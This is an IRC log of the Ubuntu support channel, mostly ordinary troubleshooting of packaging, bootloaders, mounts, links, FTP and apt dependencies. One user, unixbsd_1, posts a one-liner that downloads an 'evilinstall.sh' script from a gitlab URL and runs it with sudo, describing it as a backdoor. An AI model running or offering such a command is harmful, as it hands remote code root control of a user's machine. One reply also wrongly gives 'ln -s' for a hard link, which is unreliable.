[12:02] <unixbsd_1> lotuspsychje: oh, well, you just need sudo4lamers to get an exploit and full control of the Ubuntu machine, any machine. One single sudo and ubuntu is backdoored.
[12:02] <lotuspsychje> unixbsd_1: lets discuss that in #ubuntu-discuss please, leave this room free for support
[12:03] <unixbsd_1> security channel?
[12:04] <lotuspsychje> unixbsd_1: the security channel is also not really for discussions, rather for security support issues
[12:04] <unixbsd_1> #ubuntu-piracy ?
[12:04] <lotuspsychje> #ubuntu-hardened
[12:17] <unixbsd_1> lotuspsychje: you arent up there on hardened. .. seems
[12:18] <lotuspsychje> unixbsd_1: i'm not part of the security team
[12:20] <fpombal> hi, I have a question regarding packaging backports for PPAs. So far I have been using `apt source` and `dget` to get the source, which gets me all the required files, including the .dsc, .debian.tar.xz and .orig.tar.gz, and also applies all the debian/patches automagically
[12:20] <fpombal> However, when using these commands I have noticed the message: "NOTICE: <package> packaging is maintained in the 'Git' version control system at: (...) Please use: `git clone https://salsa.debian.org/debian/<package>.git` to retrieve the latest (possibly unreleased) updates to the package."
[12:20] <fpombal> I would like to try this out and do more stuff with git rather than the debian-specific tools. But, I don't know how to proceed after cloning; so my questions are:
[12:20] <fpombal> - how do I get the other ancillary files like the .orig tarball and .dsc?
[12:20] <fpombal> - how do I apply all patches automatically from debian/patches? Can I just use `git apply`?
[12:21] <fpombal> thanks in advance for any input on this
[12:24] <fpombal> Note: for additional context, my usual workflow after getting the sources is some simple invocations of `dch`, `debuild` and `dput`, and also possibly patching the sources with dquilt (the recommended quilt alias config in the debian new maintainers guide) if required.
[12:28] <fpombal> I decided to post here because I'm using Ubuntu and I just want to optimize the process of uploading to my PPAs, but please let me know if I should seek help on #debian instead (or additionally).
[12:44] <unixbsd_1> lotuspsychje: ok, I have uploaded the code on github. to exploit ubuntu, run: " wget -c https://gitlab.com/openbsd98324/sudo4lamers/-/raw/master/evilinstall.sh -O /tmp/evilinstall.sh ; sudo sh /tmp/evilinstall.sh "     is enough to let your machine open to exploits.
[12:45] <lotuspsychje> unixbsd_1: please dont use this channel for exploit tests
[13:43] <floown> Hello
[13:44] <floown> Quand je cherche à me connecter à phpmyadmin, en root, j'ai ça comme message : mysqli_real_connect(): (HY000/1698): Access denied for user 'root'@'localhost'
[13:44] <floown> J'avais purgé et réinstallé le paquet
[13:45] <floown> mais il ne m'a pas été demandé de mdp pour root
[13:48] <BluesKaj> !fr | floown
[13:48] <floown> oops
[13:49] <floown> sorry
[14:02] <repulse> Hello, how does one ask a package maintainer to bump the version of a certain package due to a bug in it that has already been fixed upstream? Just file a launchpad bug report and wait?
[14:14] <jeremy31> repulse: Filing a bug report should get the maintainers attention
[14:20] <yehoshua> Hi guys, is this the right channel for Ubuntu Advantage support/questions?
[14:22] <yehoshua> we have a few hundred xenial desktops and want to make sure we can enable ESM, is there a way to check this before Xenial enters the ESM period? (also, it is unclear on which date the regular security updates will not be available and when ESM becomes the active updating service)
[14:30] <crimson_king> Will I lose any functionality if I create a new user on Ubuntu Server 20.04 for RPi4 (arm64)? I read somewhere that the default installation still expects you to be using the default user "ubuntu", or something like that... now I'm concerned.
[14:45] <frad> how do I edit a picture's metadata? gimp?
[14:45] <frad> thunar right click?
[14:48] <frad> i want to change the exif metadata
[14:51] <olle> My .bashrc couldn't be moved from Ubuntu 16 to 20 LTS.
[14:52] <olle> Any ideas? I get syntax errors
[14:53] <olle> and screen is weird, starting with $TERM vt100 instead of xterm-256
[14:53] <olle> :d
[14:53] <bl> what are the errors?
[14:54] <olle> bl: first is just
[14:54] <olle> ": command not found
[14:54] <olle> "
[14:54] <olle> next is
[14:54] <olle> bash: Downloads/bashrc: line 6: syntax error near unexpected token `$'in\r''
[14:54] <olle> in a case-block
[14:54] <olle> source is
[14:55] <olle> `case $- in`
[14:55] <olle> simple enough
[14:55] <olle> The rc file does not begin with a bang, but I read it's not supposed to.
[14:57] <fpombal> anyone have any idea about the 2 questions I posted above? I can also try asking on #debian I suppose...
[14:57] <olle> Maybe I better start over with an empty bashrc
[14:58] <olle> But I'm confused by the screen problem - my screenrc doesn't work at all, tab names are not showing properly, colours, etc
[14:58] <olle> Shit, maybe it's line endings...
[14:59] <olle> I emailed the text file to myself
[14:59] <bl> olle: i'm far from an expert and i recently started here
[14:59] <bl> olle: yea, maybe line endings haha :)
[15:00] <bl> olle: i was about to ask if you can break the file up into pieces which it sounds like you might have already thought of
[15:00] <olle> Yep!
[15:00] <olle> Works now
[15:00] <olle> Heh
[15:01] <bl> so it was line endings?
[15:01] <olle> Yeah
[15:01] <bl> nice
[15:01] <olle> Applying dos2unix fixed it
[15:02] <olle> Yes, and echo $TERM now shows the correct screen-256color inside screen
[15:02] <olle> Phew
[15:02] <bl> you said you were having problems a screenrc?  that must be new to ubuntu 20
[15:02] <olle> Also stupid mail system that apparently Windowsified all files ><
[15:02] <olle> Grrr
[15:03] <bl> just curious did you upgrade to 18 first?
[15:04] <olle> bl: no upgrade, this is a fresh install
[15:04] <olle> I never do dist-upgrade...
[15:04] <olle> But I should take the habit of putting /home in a seperate partition.
[15:05] <olle> I have Manjaro and Ubuntu on one disk now (gaming and work) - wanna put FreeBSD or DragonflyBSD as well. If grub can manage.
[15:06] <frad> can the exif metadata of a picture be edited?
[15:06] <bl> gotcha, when you said you went from 16 to 20 i was curious how you did the upgrade.  that's a lot of installations...this might be a better conversation for ubuntu-offtopic
[15:06] <frad> I downloaded xnviewmp because they claim it does the thing
[15:06] <leftyfb> !repeat | frad
[15:07] <leftyfb> !yy.mm | bl
[15:07] <frad> it was a different question
[15:20] <JoeLlama> I have mIRC set to "Automatically accept invalid certificates" but I keep getting "* Unable to connect to server (SSL private key error)" when logging onto a server using port 6697 while running on wine under xubuntu 20.04
[15:20] <JoeLlama> why?
[15:20] <JoeLlama> didn't seem to do that under windows
[15:21] <JoeLlama> Windows IS the virus
[15:22] <olle> maybe not use mIRC?
[15:22] <JoeLlama> notta option
[15:22] <ZanaBuna> hi
[15:22] <JoeLlama> next? :)
[15:22] <olle> check the wine page for mIRC?
[15:23] <JoeLlama> hrm...
[15:23] <JoeLlama> can't find anything on google
[15:23] <olle> see advice 1 xD
[15:23] <JoeLlama> only that something was fixed in 7.64
[15:23] <JoeLlama> I will look again olle
[15:24] <olle> JoeLlama: look for wine and ssl problems (leave out mirc)
[15:25] <JoeLlama> nothing on google with that phrase
[15:25] <JoeLlama> hrm
[15:25] <JoeLlama> ok
[15:25] <JoeLlama> good job olle :) :)
[15:26] <olle> https://www.reddit.com/r/wine_gaming/comments/asnspw/compiling_wine_with_ssl_support/
[15:26] <JoeLlama> yes there are stuffs listed if I leave out mIRC
[15:26] <olle> +1
[15:27] <JoeLlama> yay! :)
[15:27] <JoeLlama> so it's apparently not an mIRC issue
[15:27] <JoeLlama> it did seem to run on windows okay
[15:28] <JoeLlama> okay next...  how do I remove the double tap feature on the touch pad?
[15:28] <JoeLlama> it's making me (more) nuts
[15:28] <JoeLlama> agian xubuntu 20.04
[15:28] <JoeLlama> oops again
[15:30] <JoeLlama> touch pad: remove double touch feature running under xubuntu 20.04?
[15:31] <olle> use a mouse instead?
[15:31] <olle> ^^
[15:32] <JoeLlama> :P
[15:32] <JoeLlama> notta option
[15:32] <JoeLlama> eh, happy enough with the info on wine and SSL
[15:33] <JoeLlama> okay one more...  I need to remove the password
[15:34] <JoeLlama> what's the trick?
[15:34] <olle> ?
[15:34] <JoeLlama> when I close the lid and open it, it asks for my password
[15:34] <JoeLlama> I want that to stop
[15:34] <olle> what lid?
[15:34] <JoeLlama> I googled and can't seem to find what works and it should be easy
[15:35] <JoeLlama> oh notebook
[15:35] <olle> ah
[15:35] <JoeLlama> close the lid and open it and gotta enter a password
[15:35] <olle> check settings for screensaver
[15:35] <JoeLlama> oh ok makes sense
[15:37] <JoeLlama> turn off "lock screen?"
[15:37] <JoeLlama> olle (:
[15:37] <JoeLlama> I turned it off testing now
[15:38] <JoeLlama> well sometimes it doesn't ask for a password and this time it didn't so time will tell if that fixed it
[15:38] <JoeLlama> thanks again olle
[15:38] <olle> np
[15:38] <JoeLlama> do ya know where the touchpad settings thingy is?
[15:39] <JoeLlama> thingy is a technical term
[15:39] <olle> there should be "Mouse and touchpad" settings or similar
[15:39] <olle> Dunno which ubuntu you use, tho
[15:41] <JoeLlama> yup just didn't ded  to find what I nee
[15:42] <JoeLlama> crap happened agai
[15:42] <JoeLlama> just didn't seem to find what I needed but perhaps disable touchpad while typing might help
[15:42] <JoeLlama> oh it's not there ;/
[15:45] <JoeLlama> ok how do you turn the touchpad back on without a touchpad or mouse? :(
[15:45] <JoeLlama> I am dumb sometimes I turned it off
[15:46] <JoeLlama> olle
[15:46] <JoeLlama> fixed
[15:47] <JoeLlama> oh okay found terminal stuffs to type in for touchpad
[15:47] <JoeLlama> thanks olle :)
[15:52] <frad> is this the channel to ask about --exif? https://manpages.ubuntu.com/manpages/trusty/man1/exif.1.html
[15:54] <JoeLlama> okay time to go bye
[16:03] <quantum> Does ubuntu come without nftables?
[16:04] <leftyfb> quantum: it's not installed by default if that is what you are asking
[16:04] <quantum> leftyfb: apt search nftables doesn't find it.
[16:04] <leftyfb> quantum: it's part of the universe repo
[16:04] <quantum> How do I add that?
[16:05] <leftyfb> !universe | quantum
[16:05] <quantum> Ty
[16:25] <ubuntu2> hai
[16:26] <ubuntu2> :3
[16:26] <isapgswell> xscreen do not deal if the diference between same monitor and dual gpu
[16:28] <isapgswell> xscreen do not deal with the diference between same monitor and dual gpu
[16:28] <oerheks> isapgswell, why would screen do that?
[16:28] <oerheks> c/xscreen
[16:29] <isapgswell> oerheks optimus
[16:35] <oerheks> what is your goal? running a 3d window over a 2d service?
[16:36] <isapgswell> oerheks play 3d game external display handled by nvidia
[16:37] <oerheks> that has nothing to do with xscreen, i guess
[16:37] <isapgswell> oerkheks the problem is that my intel has capability to display on the same monitor
[16:43] <Aguschan> exit
[17:04] <Eikenberry> Hello. I'm new-ish to Linux, and am trying to install Ubuntu 20.04 LTS to a brand new HDD, in order to set up a dual-boot with Windows 10, but am running into a weird series of problems. The installation runs without issue, and the boot loader is configured, as far as I can tell, but when attempting to boot into Ubuntu first, I'm dumped to the GRUB
[17:04] <Eikenberry> command line.  When running the "ls" command, GRUB can find all of my drives... except the drive Ubuntu is installed on. If I boot into live mode from my usb stick, the "lsblk" shows the drive, and even Windows recognizes the drive. When I attempt to run boot-repair, I get an error message stating that nothing could be done because Windows was
[17:04] <Eikenberry> detected in a hibernation state - this is extra weird, because as far as I can tell, there is no hibernation file on the Windows drive (hiberfile.sys isn't found anywhere), and I make sure to do a full reboot from windows, and have even tried a full system shutdown, but no dice. So, I'm stuck, and not sure what to do next. Any tips? Thanks. Latest
[17:04] <Eikenberry> Ubuntu boot repair pastebin: https://paste.ubuntu.com/p/3TcXNC4hmN/
[17:20] <Eikenberry> as additional info, i have also verified that windows' "Fast Startup" power option has been (and remains) disabled.
[17:20] <van777> Eikenberry: i'd reinstall ubuntu and see what happens
[17:21] <Eikenberry> I did prior to joining the channel, but alas, same issues.
[17:22] <van777> does your windows boot?
[17:22] <Eikenberry> Yes.
[17:22] <Eikenberry> I'm running it now in fact. :)
[17:31] <van777> Eikenberry: did you try https://sourceforge.net/projects/boot-repair-cd/files/ ?
[17:33] <Eikenberry> I ran the boot repair utility using the 2nd option from this page: https://help.ubuntu.com/community/Boot-Repair, which is what generated the pastebin report above. My understanding is that they are functionally identical?
[17:40] <tomreyn> Eikenberry: i would think so, it's maybe a different version, but i don't think it will matter.
[17:42] <tomreyn> Eikenberry: it's a pity that you're running into this bad user experience. it's possible that uncommon or known to be explicitly linux-unfriendly hardware will give you such results. also multi-disk installations can cause this when UEFI booting.
[17:43] <tomreyn> this *could* be bug 1396379, but that's a really rough guess.
[17:43] <tomreyn> which computer hardware do you have there?
[17:43] <Eikenberry> Yeah. I have a suspicion it may ultimately be hardware related if there's not an obvious software issue; My desktop is rather full of SATA drives, so in order to get this drive working, I had to buy a SATA expansion card and the new drive is plugged into that. Still, didn't expect it to be an issue if both Windows and Ubuntu Live can see the drive.
[17:44] <Eikenberry> Another possibility: Did I maybe use the wrong utility for creating a bootable usb drive?
[17:45] <Eikenberry> i used balenaetcher instead of rufus.
[17:45] <tomreyn> maybe, but then the installation would liely (but not certainly) have run into errors.
[17:45] <tomreyn> etcher should be fine, since it verified the data written
[17:45] <tomreyn> i assume it did not warn about a mismatch of written and re-read data?
[17:46] <Eikenberry> Not to my knowledge.
[17:46] <tomreyn> also, you should verify that you actually downloaded the latest installer iso, and that it downloaded completely, and unmodified
[17:46] <tomreyn> !checksum
[17:49] <tomreyn> if this is a 64-bit amd-like (also intel) system (64-bit boot code, 64-bit cpu), then the name of the ISO file you should have downloaded is ubuntu-20.04.2.0-desktop-amd64.iso
[17:49] <tomreyn> https://ubuntu.com/tutorials/how-to-verify-ubuntu is another guide onverifying the download
[17:50] <Eikenberry> checking now.
[17:50] <tomreyn> but what you described above really sounds like the problem is with grub not seeing the 'new disk', and it seems less likely that this could be related to a broken installer
[17:51] <Eikenberry> yeah, there are not any warnings or errors that pop up from the live install. confirmed the ISO file is the correct name. working on verifying gpg etc just for completeness sake.
[17:53] <quantum> Why can't Ubuntu remember the system time on reboot?  The HW clock remembers it.
[17:53] <tomreyn> Eikenberry: very well. another approach you can take, just as a cross testing strategy, is to install ubuntu server instead (better use a wired connection then, though), then install the ubuntu-desktop package (after installation).
[17:54] <tomreyn> quantum: that's not a general Ubuntu issue, it will be somehow specific to your system. it actually gets the time from your HW clock initially, if running bare metal.
[17:55] <quantum> It's not.  And it's not running /etc/bash.bashrc either.
[17:55] <tomreyn> see the "clocksource" lines (and related) in    journalctl -b
[17:55] <Eikenberry> confirmed the ISO is valid.
[17:57] <quantum> tomreyn: Apr 01 10:23:43 enclave2.dakmtter.org kernel: clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x588fe9dc0, max_idle_ns: 440795202592 ns
[17:57] <quantum> Apr 01 10:23:43 enclave2.dakmtter.org kernel: clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns
[17:57] <quantum> Apr 01 10:23:43 enclave2.dakmtter.org kernel: clocksource: Switched to clocksource arch_sys_counter
[17:57] <tomreyn> !paste | quantum
[17:57] <quantum> I don't see the problem with clocksource.
[17:58] <tomreyn> quantum: i assume this is SoC hardware?
[17:58] <quantum> Yep
[17:58] <Eikenberry> So I think next step, for me at least, is to swap the SATA connectors on the HDD to see if that makes a difference. It's a weird hardware card, definitely non standard. When in doubt, eliminate the weird. Thanks for your help Tom
[17:58] <quantum> HW clock is just fine.
[17:59] <tomreyn> it's generally good to point it out when you're not using the most common type of hardware, amd/intel x86 / x86_64 systems
[18:00] <quantum> Odroid N2+.  Special release of Ubuntu for this board.
[18:00] <Eikenberry> I'm on a bog standard intel x64 system, it's just that I stuck a SATA expansion card into my pci express slot. I suspect it's doing something to annoy Ubuntu
[18:00] <Eikenberry> But at least I didn't do anything obviously dumb on the software side. Progress. :)
[18:00] <tomreyn> quantum: special release, as downloaded from?
[18:00] <Eikenberry> Gotta log off to do the changes, thanks again
[18:00] <quantum> HardKernel, which makes the Odroid.
[18:01] <tomreyn> we only support the isos and images downloaded from *.ubuntu.com and official mirrors, i'm afraid.
[18:02] <quantum> You say the system clock gets its time from the HW clock.  What's the mechanism?
[18:02] <quantum> And what's supposed to invoke bash.bashrc?
[18:02] <tomreyn> see above
[18:03] <quantum> Ok.  You don't know.
[18:03] <tomreyn> the problem with third party instalelrs and images is we just can't know how they were modified, and most of the time they were.
[18:04] <quantum> I'm asking standard.  How the 'official' release' does it.
[18:04] <oerheks> try the official iso? to see if you hw clock changes
[18:04] <quantum> But, that's a mystery, so I'll have to hot-wire it.
[18:15] <JoeLlama> I need xubuntu 20.04 to open uip and put a mouse pad file, several folders, the mail program, etc., on screen in their prospective positions.  How is that done?  Needs to be automagic
[18:18] <oerheks> devilspie comes in mind
[18:18] <oerheks> !info devilspie
[18:18] <oerheks> or some setting in xfce, Settings Manager > Window Manager Tweaks > Placement
[18:20] <tomreyn> what's "uip"?
[18:20] <oerheks> i think typo, to open up
[18:21] <tomreyn> i see, so boot to desktop, automatic login, i assume
[18:23] <tomreyn> xdotool, autokey, sikuli might be relevant, too
[18:24] <tomreyn> i'm not sure whether any of those would work on (x)wayland
[18:28] <JoeLlama> okay thanks oerheks and ubottu
[18:28] <JoeLlama> and tomreyn
[18:29] <noor2> can anyone tell me how can i create a hard link to a file thats outside my home directory
[18:29] <JoeLlama> isn't there a way that ubuntu just knows where to place a window?  also, I don't want long path names when I alt-tab I just want the window name...  how is that done?
[18:30] <oerheks> just told you, Settings Manager > Window Manager Tweaks > Placement. ....
[18:30] <JoeLlama> oh ok thanks oerheks
[18:31] <JoeLlama> and how do I get rid of the long path-name when alt-tabbing?
[18:31] <oerheks> and for a direct access to a window, your mouse or reask in #xubuntu?
[18:34] <JoeLlama> I get the feeling I'm stuck with that long path-name when alt-tabbing
[18:39] <latincanadian> hello, i can ask a question here concerning ubuntu linux wifi network card driver?
[18:46] <leftyfb> JoeLlama: long path name?
[19:13] <stanfosd> anyone able to help me get a remote NTFS volume mounted?
[19:15] <lotuspsychje> ask your question to the channel stanfosd so volunteers can help think along with your issue
[19:15] <willer> can't believe i have to deal with this same stuff STILL in 2021
[19:15] <willer> install xubuntu and watch youtube - screen WILL go blank
[19:16] <stanfosd> I have a Debian 10 box that has an NTFS volume mounted.  I would like to mount this on my Ubuntu 20.04 box, but cant figure out how to do this.
[19:16] <willer> disable all display related stuff from power settings- screen will blank
[19:17] <willer> screen will blank even if no vid is playing and all power savings disabled. jeeeeesus it's been the same for YEARS
[19:17] <oerheks> stanfosd, copy the fstab line from your debian in ubuntu?
[19:17] <oerheks> !fstab
[19:17] <unixbsd_1> how to remove the video GHOST effect into PCSXR2 while playing Grand theft auto San Andreas ? (ubuntu groovy amd64)
[19:18] <unixbsd_1> * PCSX2
[19:18] <oerheks> unixbsd_1, not an ubuntu issue, ask in the whine channel perhaps?
[19:19] <oerheks> or (#pcsx2 on efnet)
[19:19] <lotuspsychje> willer: we cant generalize video issue statements like that
[19:19] <willer> lotuspsychje:but it's been like this for years. it IS general
[19:20] <stanfosd> oerheks UUID is used on debian box for fstab.  Can I use that remotely?
[19:20] <lotuspsychje> willer: your pc specs? graphics card driver installed? xubuntu release?
[19:20] <unixbsd_1> I dont use wine hq, but pcsx2
[19:20] <willer> thinkpad l480, as basic as it gets
[19:20] <oerheks> stanfosd, yes, it should be the same. you can check with 'blkid'
[19:20] <lotuspsychje> willer: does vlc videos play?
[19:21] <willer> lotuspsychje: i don't want to find that out, i want to install xubuntu and watch a cooking vid on youtube without going to sleep
[19:21] <willer> 20.10, sorry for being frustrated
[19:22] <lotuspsychje> willer: if you want help from the volunteers, you will need to share some info, logs,..
[19:22] <willer> sure, my apologies.
[19:23] <shinobi> I just updated the linux-firmware package. Does this require a reboot?
[19:24] <oerheks> shinobi, no.  if the file /var/run/reboot-required exists, you should
[19:24] <oerheks> but here i have no warning as such
[19:25] <shinobi> oerheks: Do you know how to see the release notes to the linux-firmware package? I'm expecting new firmware for my wifi adapter.
[19:25] <willer> lotuspsychje:however i'm not doing any work on this issue just venting on irc
[19:25] <willer> it shouldn't be like this ;_;
[19:25] <lotuspsychje> !discuss | willer
[19:25] <willer> thanks
[19:35] <stanfosd> Sorry, maybe i'm not getting it.  How do I structure fstab to mount a remote volume using UUID?
[19:36] <pavlos> noor2: use ln instead of ln -s ... also see man ln
[19:40] <leftyfb> stanfosd: you don't. You mount remote filesystems with something like NFS or CIFS
[19:41] <noor2> anyone here is familier with ubuntu terminal
[19:42] <leftyfb> noor2: ask your support question
[19:42] <stanfosd> ok.  So if I have an NTFS volume mounted on a Debian 10 box, how would I access this from an ubuntu 20.04 box.
[19:42] <noor2> i wanna create a hardlink to a file thats outside my home directory how do i do it
[19:42] <leftyfb> stanfosd: as I told you, you setup a remote filesystem share like NFS or CIFS
[19:42] <noor2> is it possible
[19:42] <leftyfb> noor2: what have you tried?
[19:43] <noor2> i can create hardlinks if its within the same directory but not if its outside
[19:43] <noor2> not sure how to do it
[19:44] <leftyfb> noor2: what have you tried exactly? Use pastebin to paste commands and error messages
[19:45] <leftyfb> noor2: also, is this outside directory on the same filesystem?(ext4)
[19:45] <noor2> ln targetfile sourcefile
[19:46] <leftyfb> noor2: that is not what was asked
[19:47] <oerheks> shinobi, look at launchpad 'linux-firmware source '  for the changelog?
[19:47] <noor2> thats what i used
[19:48] <userx> how do i get a command to always be run as a normal user instead of root? i've appended the line "root ALL = (std_user) /path/to/command" to /etc/sudoers but it still seems to run as root. what am i missing?
[19:48] <leftyfb> noor2: that command will attempt to create a hard link with targetfile as link to sourcefile in the same directory. I see no error messages at all so it looks like what you are attempting to do works just fine.
[19:49] <noor2> yes as long as im in the same directory
[19:50] <leftyfb> userx: the sudoers file is used to give permissions for regular users to run commands using sudo. They will all be run as root unless you specify a different user as part of your sudo command
[19:50] <noor2> so if im in hime direcotry and i have file in document directory it wont work
[19:50] <noor2> home*
[19:51] <leftyfb> noor2: please link to the paste.ubuntu.com link with the exact command and error messages you are getting
[19:51] <leftyfb> noor2: do not type it here. Copy and paste the command and error message from your terminal to http://paste.ubuntu.com
[19:53] <pavlos> noor2: ln hardlinkdoc Documents/somedoc.ods       ... you can edit hardlinkdoc as if it were somedoc.ods
[19:55] <noor2> https://paste.ubuntu.com/p/8XP9JNQHcS/
[19:55] <leftyfb> noor2: you did not paste the command
[19:56] <noor2> https://paste.ubuntu.com/p/cpYzvCrg5H/
[19:57] <leftyfb> noor2: also, you do know it's:  ln <file-that-exists> <to-link-file-that-does-not-yet-exist> right?
[19:57] <noor2> yes
[19:57] <leftyfb> noor2: the error message tells you that note.txt does not exist. Does it?
[19:57] <noor2> it does
[19:58] <leftyfb> noor2: please pastebin the output of this:  file note.txt
[19:58] <oerheks> $HOME/place-of-note.txt
[19:58] <makara1> hi. Sound is not coming through my bluetooth devices since an update today. I'm on Ubuntu 20.04.2 LTS
[19:58] <noor2> im in my home directory but the file is in documents. outside the home directory
[19:58] <leftyfb> oerheks: we have no idea what directory they are in
[19:59] <leftyfb> noor2: ok, then tell ln that
[19:59] <makara1> the devices connect - everything looks fine, but no sound
[19:59] <ptah> cp -s file file2
[19:59] <leftyfb> ptah: you are not helping
[19:59] <noor2> thats soft link
[20:00] <ptah> why?
[20:00] <leftyfb> noor2: ln -s </full/path/to/exist-file> </full/new-path/to/new-linked-file>
[20:00] <ptah> noor2, ur not putt9ing the entire path
[20:00] <leftyfb> noor2: ln -s ~/note.txt ~/Documents/hardlink1
[20:00] <ptah> of the document link
[20:01] <ptah> yeah
[20:02] <oerheks> if that doc is outside your home, make sure it is readable as the user
[20:02] <leftyfb> also a filesystem that allows links (not NTFS)
[20:02] <oerheks> aye
[20:04] <noor2> ok cheers everyone
[20:22] <unixbsd_1> Cool, I finally managed to play GrandTheftAuto San Andreas, and I activated cheat: Lock Star to Min, to unlock all map. GTA San Andreas is working very well on Groovy ;)
[20:23] <unixbsd_1> (using PCSX2)
[20:24] <leftyfb> !ot | unixbsd_1
[20:25] <unixbsd_1> ok
[20:27] <ptah> lol
[20:29] <fandre1986> Hello Colleagues, I installed vsftpd on my Ubuntu 16.04
[20:29] <fandre1986> The user 'ftp' was created automatically. Can I use this user to copy files from a remote system?
[20:30] <fandre1986> Or I must create a new user and pass?
[20:31] <leftyfb> fandre1986: You should follow the vsftp documentation and create a user. Is this just a temporary solution to get files copied over? Why not just use ssh/sftpd ? Also, you do know Ubuntu 16.04 will be EOL next month right?
[20:32] <oerheks> april 30
[20:51] <fandre1986> leftyfb I am aware but I have the need to use this release and only FTP.
[20:51] <leftyfb> fandre1986: sounds insecure. good luck
[20:52] <fandre1986> I created a new user and password but I get login fail when attempt to connect to the server. Any ideas?
[20:53] <fandre1986> leftyfb is just an isolated system.
[20:53] <leftyfb> fandre1986: look through your logs
[20:56] <fandre1986> seems not much information in vsftpd.log
[20:56] <fandre1986> https://pastebin.com/yYrHenhE
[20:58] <leftyfb> fandre1986: https://askubuntu.com/a/413694
[20:59] <leftyfb> fandre1986: first result on google for 'vsftpd "Login incorrect"'
[21:04] <fandre1986> Thanks leftyfb
[21:30]  * Ubuntivity wonders if humans still exist on IRC
[21:31] <guiverc> Please stick to support here Ubuntivity ; #ubuntu-offtopic would no doubt get responses to that
[21:32] <Ubuntivity> guiverc: sorry. I thought my IRC client had some glitch preventing my messages from being sent.
[21:57] <pavlos> fandre1986: is the newuser listed in /etc/ftpusers on the server?
[21:59] <Gapi> hello how to install build-essential on 20.4.2   dependecie issue  with g++ and libc6-dev
[22:00] <Gapi> i do not want upgrade to 20.10 and finde out there is same issue
[22:01] <Gapi> sorry 20.04.2
[22:05] <jeremy31> Gapi: try> sudo apt install dkms
[22:09] <Gapi> Recommended packages:
[22:09] <Gapi>   build-essential libc6-dev | libc-dev libc6-dev
[22:09] <Gapi> ok will try
[22:09] <jeremy31> Gapi: paste any errors at paste.ubuntu.com and post the URL here
[22:10] <Gapi> but this is only recomanded to install   it will not install them
[22:12] <jeremy31> Gapi: recommends should be installed
[22:12] <Gapi> The following packages have unmet dependencies:
[22:12] <Gapi>  build-essential : Depends: libc6-dev but it is not going to be installed or
[22:12] <Gapi>                             libc-dev
[22:12] <Gapi>                    Depends: g++ (>= 4:9.2) but it is not going to be installed
[22:13] <jeremy31> Gapi: sudo apt install g++
[22:14] <Gapi> The following packages have unmet dependencies:
[22:14] <Gapi>  g++ : Depends: g++-9 (>= 9.3.0-3~) but it is not going to be installed
[22:14] <Gapi> E: Unable to correct problems, you have held broken packages.
[22:14] <Gapi> apt -f install do nothing
[22:16] <Gapi> oh this is fresh install of ubuntu + some minor stuff  like this irc client and teamspeak and minecraft+ java
[22:17] <jeremy31> Gapi: try>  sudo dpkg --configure -a
[22:19] <Bashing-om> !info g++-9 focal
[22:20] <Gapi> no errors
[22:20] <jeremy31> Gapi: did you add any PPA's?
[22:20] <Gapi> nope
[22:21] <Gapi> just webmin in sources.list
[22:22] <jeremy31> Gapi: try commenting that out, then do a>  sudo apt update && sudo apt install build-essential
[22:22] <Gapi> will try
[22:25] <Gapi> ok  next try is  change repository   from local to  us maybe   i know it will go slower
[22:26] <RikMills> you can also use apt to iterate through the dependencies until you find what the issue is
[22:26] <jeremy31> Gapi: or do another new install and install build-essential before making changes
[22:27] <Gapi> nooooooooooo :(
[22:27] <RikMills> e.g. sudo apt install g++ g++-9
[22:27] <RikMills> and see what error that gives
[22:28] <Gapi> The following packages have unmet dependencies:
[22:28] <Gapi>  g++-9 : Depends: libstdc++-9-dev (= 9.3.0-17ubuntu1~20.04) but it is not going to be installed
[22:28] <Gapi> E: Unable to correct problems, you have held broken packages.
[22:28] <Gapi> root@venus:~#
[22:29] <RikMills> sudo apt install g++ g++-9 libstdc++-9-dev
[22:29] <RikMills> if you keep doing that, apt will eventually tell you thye root of the issue
[22:30] <Gapi> The following packages have unmet dependencies:
[22:30] <Gapi>  libstdc++-9-dev : Depends: libc6-dev (>= 2.13-0ubuntu6) but it is not going to be installed
[22:30] <Gapi> E: Unable to correct problems, you have held broken packages.
[22:30] <RikMills> so sudo apt install g++ g++-9 libstdc++-9-dev libc6-dev
[22:31] <RikMills> see what I mean about iterating
[22:31] <ForeverNoob[m]> hi, I'm trying to verify the cloud images here: https://cloud-images.ubuntu.com/focal/current/ - but when I do `gpg --verify SHA256SUMS.gpg SHA256SUMS` it tells me that I don't have a public key. Where can I find the Ubuntu public keys that were used to sign these images?
[22:31] <Gapi> same error
[22:32] <Gapi> ok i give up
[22:32] <Gapi> now will try in new fresh virtual machine
[22:47] <Gapi> fck me sideways   on fresh install in virtual machine is working
[22:50] <Gapi> from same source  .iso
[23:01] <RikMills> that is not surprising.
[23:18] <ForeverNoob[m]> So I downloaded the `focal-server-cloudimg-amd64-disk-kvm.img`, do I still need to do `qemu-img convert ...` in order to `virt-install` it?
[23:47] <ForeverNoob[m]> Self answer: No.